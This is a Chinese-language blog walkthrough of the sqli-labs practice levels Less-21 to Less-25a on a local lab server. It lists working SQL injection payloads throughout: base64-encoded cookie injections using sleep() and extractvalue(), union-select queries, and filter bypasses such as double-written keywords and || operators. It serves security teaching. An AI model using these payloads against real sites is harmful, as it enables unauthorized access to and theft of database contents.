概述
SQL注入
- Preface
- 本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!
- Less-21
- Less-22
- Less-23
- Less-25
- Less-25a
Preface
本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!
Less-24在我前面的博文有讲,如有需要请跳转。由于前面20关我已经做完了,所以后面的关卡只提供一个思路或者如何绕过防御以及证明注入点存在即可,payload几乎都是Less-1我们学的子查询语句
Less-21
0x00
由题目得知这是一道Cookie注入的题目,且cookie被编码成base64的编码格式。
什么是base64编码呢
Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。可查看RFC2045~RFC2049,上面有MIME的详细规范。
Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。采用Base64编码具有不可读性,需要解码后才能阅读。
Base64由于以上优点被广泛应用于计算机的各个领域,然而由于输出内容中包括两个以上“符号类”字符(+, /, =),不同的应用场景又分别研制了Base64的各种“变种”。为统一和规范化Base64的输出,Base62x被视为无符号化的改进版本。
参考自:百度百科
0x01
我们先抓包看一下它的HTTP报文
我们可以看到它有两次请求,第一次是我们所提交的用户名和密码
第二次是显示出来了我们的Cookie,且它是用base64加密过的
当我们刷新页面时,因为Cookie的存在,所以我们不用再进行登录了
0x02
根据上面的分析,我们可以对Cookie进行注入
首先判断一下它的周围是由什么东西包裹着
admin'
YWRtaW4n
我们发现它的周围不仅有单引号还有圆括号包裹着,所以接下来我们试这个payload
admin') and sleep(5) #
YWRtaW4nKSAgYW5kIHNsZWVwKDUpICM=
发现页面延迟五秒执行,证明了我们的猜想是正确的
爆数据库名称
admin') and extractvalue(1,concat(0x7e,database())) #
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSkpICM=
这样就成功爆出了数据库名字,剩下的操作完全和前面的关卡一样,只需要把sql语句编码成base64即可,这里就不做过多赘述了
Less-22
0x00
由题目知,这道题和上一关一样,改变的只是包裹在cookie变量周围的符号,所以这关我们只需要弄清楚,它周围是什么即可进行注入。
0x01
admin'
YWRtaW4n
我们发现页面直接报错了,说明我们的单引号不是注入点,且它周围根本没有单引号包裹,所以接下来我们尝试双引号
admin"
YWRtaW4i
我们发现页面返回了错误的语法信息,说明我们的猜解没有问题,最后我们只需要确定是不是只有双引号包裹
admin" and sleep(5) #
YWRtaW4iIGFuZCBzbGVlcCg1KSAj
我们发现页面延迟五秒执行,说明我们的猜解没有问题,它的周围只有双引号包裹,经查看源码,发现我们猜想正确
0x02
下面的操作完全和上一关一样,只需改为双引号即可,这里不再进行过多赘述
Less-23
0x00
由这关题目后面的strip comments提示,这关作者除去(过滤)了一些内容,至于是什么我们只能通过一步一步往下走来看。
0x01
http://127.0.0.1/sqli/Less-23/?id=1
http://127.0.0.1/sqli/Less-23/?id=1'
我们发现当我们的参数带单引号的时候它报错了,所以这关的$id变量可能被单引号包裹着
?id=1' #
?id=1' --
我们发现当参数为上面两种情况的时候,页面仍然报错
这是我们知道,作者把我们的注释符号进行了过滤,导致我们无法用#
和--+
来进行注释了
所以我们必须找到新的注释的办法才能继续进行注入
然后我们想起来在前面的Less-18,因为不想在payload后面加括号来闭合INSERT语句中VALUE的括号,所以我们当初运用了巧妙构造payload来直接闭合单引号,并没有采用注释的方法
?id=1' and '1'='1
第一个单引号用来闭合包裹id变量的单引号
第四个单引号用来闭合包裹id变量多余出来的单引号
用上面的方法以及联合查询我们可以进行注入
0x02
查看回显位置,因为这关类似于第一关存在回显位置,所以我们要确定哪个是回显位置
?id=-1' union select 1,2,3 and '1'='1
我们发现第一个和第二个是回显位置(但是这关同第一关不同的是,经过我测试,其实只有Login name位置才有回显)
PS:把id改为-1的原因是,联合查询只有第一个selec查询没有结果,第二个select查询才可以进行,否则后面的查询无效
0x03
当然这关用报错注入同样可以,因为它有报错信息
爆数据库名
?id=-1' union select 1,database(),3 and '1'='1
0x04
剩下的操作和Less-1完全一样,只需把查询语句更改即可,不做过多赘述
Less-25
0x00
由题目我们得知,这关是基于报错的GET方式提交,且我们的and和or都会被过滤掉,但是我们的联合查询并不会失效,所以我们可以用此来进行注入。
我们正常输入?d=1
,我们发现页面给了我们一个hint,你的输入被过滤掉了,且过滤后结果为。
我们尝试单引号注入,页面报错且没有别的符号,证明我们的猜想正确
?id=1'
?id=1' #
我们发现当用#
注释时,页面仍然有报错,且提示我们的#
也被过滤掉了
下面我们用 --
试试看
?id=1' --+
页面回显正确,且提示我们的--
注释符没有被过滤掉
0x01
?id=-1' union select 1,2,3 --+
我们得知回显位置为2,3,所以我们就可以运用联合查询来爆破信息
0x02
数据库名
?id=-1' union select 1,2,database() --+
0x03
我们发现如果按Less-1,那样注入有一个问题,就是当你在爆破表的时候,information_schema.tables
中的or会被过滤掉,最后就成为了
infmation_schema.tables
,所以我们可以采取双写来绕过or过滤,
因为有作者的hint得知,我们的or 和 and并不是被转义,而是直接过滤掉,成为了空字符串,所以这时我们就可以采用双写来绕过。
例如它过滤or,我们就可以构造一个双写的or
oorr
代码会过滤掉oorr
中的or,然后我们的字符串就剩下or
,那么正好巧妙的凑成了一个or,此时程序就可以绕过or过滤,如何绕过and的过滤同理
aandnd
如果我们想要用报错注入的方法话,就是and和or都可以用逻辑符号来表示.(我一开始做的时候根本没想到)
and=&&
or=||
用上面方法也可以成功绕过过滤
0x04
所以我们用以上两种方式来进行注入
?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+
?id=1' || extractvalue(1,concat(0x7e,(select table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1))) --+
这里有个问题就是,我不知道为什么 || 可以完成注入,但是当我把payload换为&& 时,根据它的提示我&&后面的语句包括&&都被换成空字符串 |
---|
0x05
后面具体的爆破内容就不进行过多赘述了,我觉得还是用Less-1的方法加双写绕过过滤好用,也不容易出错
Less-25a
0x00
这关我认为和上一关是一模一样的,不像其他博主的WP说的很复杂,个别区别就是,一是它的变量周围没有任何东西,所以我们不用考虑闭合问题,二是它没有报错信息也就正好对应了题目给我们的信息Blind based
0x01
我们仍然可以直接用双写进行绕过过滤、
?id=-1 union select 1,2,3
?id=-1 union select 1,2,database()
0x02
剩余的操作,和上一关完全一样,因为这关没有报错信息,所以我们无法使用报错注入,当然我们也可以使用延迟注入。
等到我去弄清楚为啥代码会过滤 &&以及其之后的语句,再来修改博客。
如果问题,请评论或者私聊博主
最后
以上就是耍酷御姐为你收集整理的【sql注入】Less21-25aPreface本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!的全部内容,希望文章能够帮你解决【sql注入】Less21-25aPreface本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复